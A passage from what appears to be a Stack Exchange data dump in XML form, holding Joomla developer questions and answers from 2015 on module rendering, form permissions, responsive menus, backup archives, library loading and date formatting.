template&#xA;PATH_TO_JOOMLA/templates/TEMPLATE_NAME/html/modules.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here an example of custom output. Important, the function name should be &lt;strong&gt;modChrome_offcanvas&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function modChrome_offcanvas($module, &amp;amp;$params, &amp;amp;$attribs)&#xA;{&#xA;    if ($module-&amp;gt;content)&#xA;    {&#xA;        echo &quot;&amp;lt;div class=\&quot;module mod&quot; . $module-&amp;gt;id . &quot; &quot; . htmlspecialchars($params-&amp;gt;get('moduleclass_sfx')) . &quot;\&quot;&amp;gt;&quot;;&#xA;        if ($module-&amp;gt;showtitle)&#xA;        {&#xA;            echo &quot;&amp;lt;h3 class=\&quot;module-header\&quot;&amp;gt;&quot; . $module-&amp;gt;title . &quot;&amp;lt;/h3&amp;gt;&quot;;&#xA;        }&#xA;        echo $module-&amp;gt;content;    &#xA;        echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It define which is inserted before, after, or around the output of a module.&lt;/p&gt;&#xA;" OwnerUserId="5378" LastEditorUserId="5378" LastEditDate="2015-06-26T07:12:54.303" LastActivityDate="2015-06-26T07:12:54.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10587" PostTypeId="1" AcceptedAnswerId="10588" CreationDate="2015-06-26T07:14:28.570" Score="0" ViewCount="1755" Body="&lt;p&gt;I have already created a form in joomla article by using chronoform. When i fill in the form, the data will be saved in the database. But,I have some problem to fetch the data from database and display it in joomla article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created the form for the admin to edit the information when the admin log in to the website and display the information for the visitor. Only admin can edit the information. Other person who does not have access to log in the website only can view the information. Can someone help me? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5475" LastActivityDate="2015-06-26T07:21:28.210" Title="How to fetch data from mysql and display in joomla article" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ClosedDate="2015-06-29T06:54:48.700" ContentLicense="CC BY-SA 3.0" />
  <row Id="10588" PostTypeId="2" ParentId="10587" CreationDate="2015-06-26T07:21:28.210" Score="-1" Body="&lt;p&gt;Fetch the data refer this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://stackoverflow.com/questions/7219876/how-to-get-article-text-by-article-id-in-joomla&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can give the permission for any user can access &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Goto backend -&amp;gt; Chronoform -&amp;gt; Options -&amp;gt; Permission -&amp;gt; Public -&amp;gt; Here you can set.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-26T07:21:28.210" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10590" PostTypeId="1" AcceptedAnswerId="10594" CreationDate="2015-06-26T08:08:39.410" Score="3" ViewCount="656" Body="&lt;p&gt;How to create one article which is when user who log in will see chronoform form and they can insert information; but when visitor who does not log in to the website only can view the information which is inserted by the user ( the data inserted by the user will be saved in the database and will be displayed to the visitor)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;let's say i write {chronoforms}Form_Title{/chronoforms} in the article editor to create the form. Where am i suppose to put a code to display the data ?&lt;/p&gt;&#xA;" OwnerUserId="5475" LastEditorUserId="1538" LastEditDate="2015-06-26T09:13:35.517" LastActivityDate="2015-06-27T00:53:02.397" Title="How to manage article/chronoform permissions" Tags="|joomla-3.x|permissions|chronoforms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10591" PostTypeId="2" ParentId="10585" CreationDate="2015-06-26T08:22:11.660" Score="1" Body="&lt;p&gt;This is untested but I think something like this would do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Find modules by position name&#xA;$offcanvasModules  = JModuleHelper::getModules('menuposition');&#xA;&#xA;// Pass module render options&#xA;$moduleOptions = array('layout' =&amp;gt; 'offcanvas');&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php foreach ($offcanvasModules as $module) :&#xA;    echo JModuleHelper::renderModule($module, $moduleOptions);&#xA;endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Though personally I think I would simply set the layout in the module settings, it would be faster :) &lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-06-26T08:22:11.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10592" PostTypeId="1" AcceptedAnswerId="10595" CreationDate="2015-06-26T09:07:21.150" Score="0" ViewCount="200" Body="&lt;p&gt;I have setup the Maximenu module on this site: www.kingswood.co.uk/camps/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The menu works great on all 'standard' device widths and resizes accordingly, based on the device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when the page is resized to any dimensions from 641px (wide) to 720px (wide) neither the mobile or the desktop menu show. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't workout how to force the desktop view on the above sizes.&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2015-06-26T09:23:10.407" Title="Responsive layout problems on non'standard- widths" Tags="|joomla-3.4|module-display|responsive-web-design|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10593" PostTypeId="1" CreationDate="2015-06-26T09:09:45.247" Score="0" ViewCount="192" Body="&lt;p&gt;We've just been editing the index.php file of a Joomla template to add some content to a page, where a module position does not exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is fine however I would like to hide the text if the page is being viewed on a phone but not a tablet or any larger screen size. Is this possible and if so, what PHP code do I need to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;James&lt;/p&gt;&#xA;" OwnerUserId="3890" LastActivityDate="2015-06-26T09:25:47.187" Title="Hide text if viewing page on phone (not tablet)" Tags="|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10594" PostTypeId="2" ParentId="10590" CreationDate="2015-06-26T09:12:28.360" Score="1" Body="&lt;p&gt;I've never used CromoForms however this is possible with &lt;a href=&quot;https://www.rsjoomla.com/joomla-extensions/rsform.html&quot; rel=&quot;nofollow&quot;&gt;RSForms&lt;/a&gt; (free).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using RSForms you would create your form, and as you know all the data is saved in the database. However you can also display this data on the front-end using a special '&lt;strong&gt;Submissions&lt;/strong&gt;' menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Submissions menu item permits you to display the submissions in the front-end for a form of your choice. The menu item can be added to your site from the Menu Manager section in the back-end, to any menu on your site. You can then set the permissions for this menu item to be &lt;strong&gt;non-registered&lt;/strong&gt; users (or whoever you choose). This way non-registered users will not be able to fill in the form, but they will be able to see the form results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like I say this method is for RSForms which is free, however someting similar may be possible using ChromoForms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2015-06-26T09:12:28.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10595" PostTypeId="2" ParentId="10592" CreationDate="2015-06-26T09:23:10.407" Score="1" Body="&lt;p&gt;Assuming you have the &lt;strong&gt;Maximenu CK Mobile&lt;/strong&gt; plugin installed, you can change the width at which the responsive menu is shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The parameter is called &lt;strong&gt;Limit the resolution for the mobile menu&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, I think it's set to &lt;code&gt;640px&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-06-26T09:23:10.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10596" PostTypeId="2" ParentId="10593" CreationDate="2015-06-26T09:25:47.187" Score="1" Body="&lt;p&gt;You can target mobile resolutions this with CSS media queries. So in your template's CSS file, you could do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media (max-width: 767px) {&#xA;    .element {&#xA;        display: none;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will of course need to change &lt;code&gt;.element&lt;/code&gt; to the class or &lt;code&gt;#id&lt;/code&gt; of the element you're trying to hide. &lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-06-26T09:25:47.187" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10597" PostTypeId="2" ParentId="10582" CreationDate="2015-06-26T09:30:29.453" Score="3" Body="&lt;p&gt;I myself too was very disappointed that I had to upload a php file with the backup every time I needed to install from the backup, since that added a few steps in the workflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Also the &lt;em&gt;kickstart&lt;/em&gt; is just an &lt;em&gt;unzipping&lt;/em&gt; tool for the default &lt;code&gt;.jpa&lt;/code&gt; archive.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I do now a days, is go to the following settings page on Akeeba Backup's admin panel, and set the archive type to &lt;code&gt;.zip&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;administrator/index.php?option=com_akeeba&lt;/code&gt; (Akeeba Admin Panel)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;administrator/index.php?option=com_akeeba&amp;amp;view=config&lt;/code&gt; (Configuration)&lt;/li&gt;&#xA;&lt;li&gt;Advance Configuration&lt;/li&gt;&#xA;&lt;li&gt;Archiver engine (Set to Zip Format.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Once completed, when you create a backup through akeeba, it will generate a &lt;code&gt;.zip&lt;/code&gt; file, instead of the &lt;code&gt;.jpa&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now all I have to do is upload the &lt;code&gt;.zip&lt;/code&gt; file just like I'd do to a vanilla Joomla! installation or a Wordpress or any other CMS for that matter, and unzip using the webhost's unzip tool which is available in most of the web-host admin panel including CPanel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After which you can run the installation just by going to the url of the respective site, like you would do to a normal Joomla! install.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Benefits:-&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;No extra files required, just upload the backup and unzip.&lt;/li&gt;&#xA;&lt;li&gt;Since we are using the Cpanel/xyz webhosts trusted script, there is a high chance of enough amount of memory being allocated, which could become a problem if an external script is used.&lt;/li&gt;&#xA;&lt;li&gt;Even for your local use, when you just wanna peek into a single file inside the package, you don't have to use the akeeba tools like &quot;kickstart&quot; or &quot;akeeba unzipper&quot; whatever that's called.&lt;/li&gt;&#xA;&lt;li&gt;You can Instantly check if an archive is broken, by simply opening it inside like &lt;em&gt;winrar&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Sometimes(read On some hosts) kickstart gives problems with JQuery not loading and stuff, well... now you don't have to worry.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Cons:-&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I had read somewhere that the &lt;code&gt;.zip&lt;/code&gt; format is unrelaible, but in my personal experience never once have I faced data corruption when using &lt;code&gt;.zip&lt;/code&gt; with Akeeba.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;.jpa&lt;/code&gt; format has password encrypting feature which cannot be used with &lt;code&gt;.zip&lt;/code&gt; format, but when you are uploading a &lt;code&gt;php&lt;/code&gt; script to a server already, who are we &quot;password protecting&quot; the backups from? Since the server admin can get your source code anyway after your securely unzipping the encrypted &lt;code&gt;.jpa&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2015-06-26T09:30:29.453" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10598" PostTypeId="2" ParentId="10585" CreationDate="2015-06-26T09:41:39.090" Score="-1" Body="&lt;p&gt;I've managed to find the solution, here's the code : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;      jimport( 'joomla.application.module.helper' );&#xA;      $module = JModuleHelper::getModule( 'mod_menu' );&#xA;      $attribs = array('style' =&amp;gt; 'raw');&#xA;      $module-&amp;gt;params = &quot;menutype=mainmenu\nlayout=offcanvas\nshowAllChildren=1&quot;;&#xA;      echo JModuleHelper::renderModule($module, $attribs);&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-06-26T09:41:39.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10599" PostTypeId="1" AcceptedAnswerId="10600" CreationDate="2015-06-26T11:15:29.793" Score="2" ViewCount="1234" Body="&lt;p&gt;I am wondering how to load &quot;external&quot; php-libraries into my component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to fetch mail via imap. To get this working, I would like to use a lib which is able to handle smime-encoded mails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got my installer-script working -- it uploads the library to /lib/phpimap. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I include this in my component without changing the way the library is written?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I understand, I could use &lt;code&gt;JLoader::discover&lt;/code&gt; to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::discover('PhpImap', JPATH_LIBRARIES . '/phpimap');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it would &quot;detect&quot; only classes in /lib/phpimap which begin with &quot;PhpImap&quot; - but the classes are named in another way and without any kind of a standard-prefix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve that?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastEditorUserId="12352" LastEditDate="2019-05-07T09:55:47.530" LastActivityDate="2019-05-07T09:55:47.530" Title="How to load and use external libraries in a component?" Tags="|php|development|joomla-3.4|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="10600" PostTypeId="2" ParentId="10599" CreationDate="2015-06-26T11:43:00.863" Score="2" Body="&lt;p&gt;As you hace noticed Joomla Loader works in a Joomla way, then you have to provide you J classes to load it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the answer is: just include the library in the same way than it is shown in its examples. A best practice is to create J classes to encapsulate the library calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JLoader::discover follows a naming protocol, but JLoader::register allows to register and auto-load specific classes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('MyClass', .... . '/myclass.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2015-06-26T12:24:30.997" LastActivityDate="2015-06-26T12:24:30.997" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10601" PostTypeId="1" CreationDate="2015-06-26T14:08:02.953" Score="1" ViewCount="849" Body="&lt;p&gt;I'm loading a calendar field via jquery ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click the calendar button nothing happens. The calendar popup is not showing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in model.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tr = &quot;&amp;lt;td&amp;gt;&quot; . JHTML::_('calendar', '2015-09-09', 'arr_stubat_join_date[]', 'stubat_join_date_' . $value-&amp;gt;batch_id,'%Y-%m-%d', array('size'=&amp;gt;'15', 'maxlength'=&amp;gt;'15')) . &quot;&amp;lt;/td&amp;gt;&quot;;&#xA;return $tr;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;jQuery Ajax&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function loadBatch(){&#xA;    jQuery('#task').val('profile.getbatch');&#xA;    var dataString = jQuery(&quot;#profile-form&quot;).serialize();&#xA;&#xA;    jQuery('#ajax_loader_image').show();&#xA;    jQuery.ajax({&#xA;        type: 'POST',&#xA;        url: 'index.php',&#xA;        data: dataString,&#xA;        cache: false,&#xA;        success: function(result){&#xA;            jQuery('#batch_container').append(result);&#xA;        },&#xA;        error: function(result){&#xA;        }&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5480" LastEditorUserId="12352" LastEditDate="2019-12-03T21:31:05.243" LastActivityDate="2019-12-03T21:31:05.243" Title="Joomla calendar popup does not appear when loaded by ajax" Tags="|joomla-3.x|jquery|ajax|calendar|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="10602" PostTypeId="1" AcceptedAnswerId="10603" CreationDate="2015-06-26T15:28:44.140" Score="3" ViewCount="620" Body="&lt;p&gt;I am trying to override the Last Visit Date in the admin area of my Joomla 3.4.1 site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have manually made overrides to the following constants (site and admin) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fJGTB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xvvar.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it's not making any difference to the Last Visit Date, it's still i the following format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PkYTh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have cleared the cache and logged in/out numerous times. The dates seem to have effected other parts of the site, just not the part I want!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would then also like to display this info one the site front end when a user is logged in, my curreny code I am using is below;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$user = JFactory::getUser();&#xA;if (!$user-&amp;gt;guest) {&#xA;echo &quot;&amp;lt;h3&amp;gt;Hi {$user-&amp;gt;name}&amp;lt;/h3&amp;gt;&quot;;&#xA;echo &quot;&amp;lt;p&amp;gt;You were last here on {$user-&amp;gt;lastvisitDate}.&amp;lt;/p&amp;gt;&quot;;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2015-06-29T09:45:48.080" LastActivityDate="2015-06-29T09:45:48.080" Title="Last Visit Date Override" Tags="|joomla-3.x|overrides|language|date|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10603" PostTypeId="2" ParentId="10602" CreationDate="2015-06-26T15:57:30.670" Score="1" Body="&lt;p&gt;The functionality you're referring to has not been implemented for the &lt;strong&gt;Last Visit Date&lt;/strong&gt; in the Joomla User Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you open the following file and go to line &lt;strong&gt;152&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;administrator\components\com_users\views\users\tmpl\default.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;you will see the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('date', $item-&amp;gt;lastvisitDate, 'Y-m-d H:i:s'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can create a Template Override for this file and format it however you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could either change the format there and then, or use one of Joomla's pre-defined formats, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('date', $item-&amp;gt;lastvisitDate, JText::_('DATE_FORMAT_LC4')); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-06-26T15:57:30.670" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10604" PostTypeId="2" ParentId="10601" CreationDate="2015-06-26T21:28:41.367" Score="2" Body="&lt;p&gt;Your model successfully returns the HTML produced by the &lt;code&gt;JHtml&lt;/code&gt; class call. But that method also loads some JavaScript code into the document head. Since you don't render the full page, that JavaScript isn't returned and never ends up in the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while you have the HTML there, you miss the JavaScript part and thus nothing will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would have to manually add the needed JavaScript code(s) to the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same goes also for the CSS styling&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-06-26T21:28:41.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10606" PostTypeId="2" ParentId="10590" CreationDate="2015-06-27T00:53:02.397" Score="2" Body="&lt;p&gt;In ChronoForms v5, edit your form, go to the Setup tab and drag an &quot;Authenticator&quot; action into the appropriate event in your form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uVeBb.jpg&quot; alt=&quot;ChronoForms Authenticator Action&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit the Authenticator properties to set the required permissions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CamU6.jpg&quot; alt=&quot;ChronoForms Authenticator Properties&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then drag appropriate actions into &quot;On Success&quot; or &quot;On Fail&quot; as appropriate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you might drag a &quot;Display Message&quot; action into the &quot;On Fail&quot; and set the message to, &quot;Please log in as Administrator to complete this action&quot; or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ChronoForms v4 has similar functionality.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2015-06-27T00:53:02.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10607" PostTypeId="1" AcceptedAnswerId="10612" CreationDate="2015-06-27T03:25:20.607" Score="2" ViewCount="110" Body="&lt;p&gt;I want to load a module position twice with different module style, but strangely the style on the 2nd position load is always following the 1st one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-7&quot; style=&quot;raw&quot;/&amp;gt;&#xA;&amp;lt;div&amp;gt; ....&#xA;....&#xA;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;position-7&quot; style=&quot;xhtml&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, the second position-7 always loads the modules using 'raw' style not xhtml. Is it a joomla bug or it's indeed designed like that?&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-06-27T18:50:39.623" Title="Strange modules style behaviour when loading similar module position twice" Tags="|module|module-display|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10608" PostTypeId="2" ParentId="10526" CreationDate="2015-06-27T04:39:42.060" Score="0" Body="&lt;p&gt;This works for me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;modal hide&quot; id=&quot;myModal&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;modal-header&quot;&amp;gt;&#xA;    &amp;lt;a class=&quot;close&quot; data-dismiss=&quot;modal&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo JURI::root();?&amp;gt;delete14.png&quot; alt=&quot;&amp;lt;?php echo JText::_( 'GROUPL_DELETE_ICON' ); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;h3&amp;gt;&amp;lt;?php echo JText::_('GROUPL_DELETE')?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;modal-body&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php echo JText::_('SELECT_DELETE_METHOD')?&amp;gt;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;modal-body&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot; class=&quot;btn&quot; onclick=&quot;cascadeDelete();&quot;&amp;gt;&amp;lt;?php echo JText::_('CASCADE_DELETE')?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot; class=&quot;btn&quot;  onclick=&quot;Delete();&quot;&amp;gt;&amp;lt;?php echo JText::_('DELETE')?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;a href=&quot;#&quot; class=&quot;btn&quot;  onclick=&quot;cancelDelete();&quot;&amp;gt;&amp;lt;?php echo JText::_('GENERAL_CLOSE')?&amp;gt;&amp;lt;/a&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;validation.js&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla.submitbutton = function(task){&#xA;if (task == 'cascadedelete') {&#xA;    jQuery('#myModal').modal('show');&#xA;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2240" LastActivityDate="2015-06-27T04:39:42.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10609" PostTypeId="1" AcceptedAnswerId="10647" CreationDate="2015-06-27T07:08:43.543" Score="2" ViewCount="183" Body="&lt;p&gt;Here i'm trying change the ordering for the particular group by click and trag in List view.I have several categories and some datas for those categoies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add the below code in my default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$saveOrderlistUrl= 'index.php?option=com_xxxx&amp;amp;task=groups.saveOrderAjax&amp;amp;tmpl=component';&#xA;JHtml::_('sortablelist.sortable', 'groupsList', 'adminForm', strtolower($listDirn), $saveOrderlistUrl);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside Looping data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tr class=&quot;row&amp;lt;?php echo $i % 2; ?&amp;gt;&quot; sortable-group-id=&quot;&amp;lt;?php echo $row-&amp;gt;category_id; ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The particular category data only visible when try to click &amp;amp; drag.Thats works fine.&#xA;After changing the ordering,if I check the database, the ordering for the data is incorrect and its interchanged with overall max(ordering).Not for the particular category datas. Kindly help me to solve this.&lt;/p&gt;&#xA;" OwnerUserId="2240" LastActivityDate="2015-06-30T13:53:18.810" Title="Ordering is not working correctly for particular group in Joomla 3" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10610" PostTypeId="1" CreationDate="2015-06-27T11:57:29.083" Score="1" ViewCount="2892" Body="&lt;p&gt;Faced with such a problem, how to make sure that the used AJAX request is sent only in case of successful completion of the built-in Joomla js validator.&#xA;The code pattern is about the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;// no direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;JHtml::_('behavior.keepalive');&#xA;JHtml::_('behavior.tooltip');&#xA;JHtml::_('behavior.formvalidation');&#xA;&#xA;&#xA;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addScript(JUri::base() . '/components/com_my/assets/js/form.js');&#xA;$doc-&amp;gt;addStyleSheet(JUri::base() . '/components/com_my/assets/css/form.css');&#xA;&#xA;?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;site-edit front-end-edit span10&quot;&amp;gt;&#xA;        &amp;lt;form id=&quot;form-site&quot; action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_my&amp;amp;task=siteform.save'); ?&amp;gt;&quot; method=&quot;post&quot; class=&quot;form-validate form-horizontal&quot; enctype=&quot;multipart/form-data&quot;&amp;gt; &#xA;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;control-label&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('name'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div 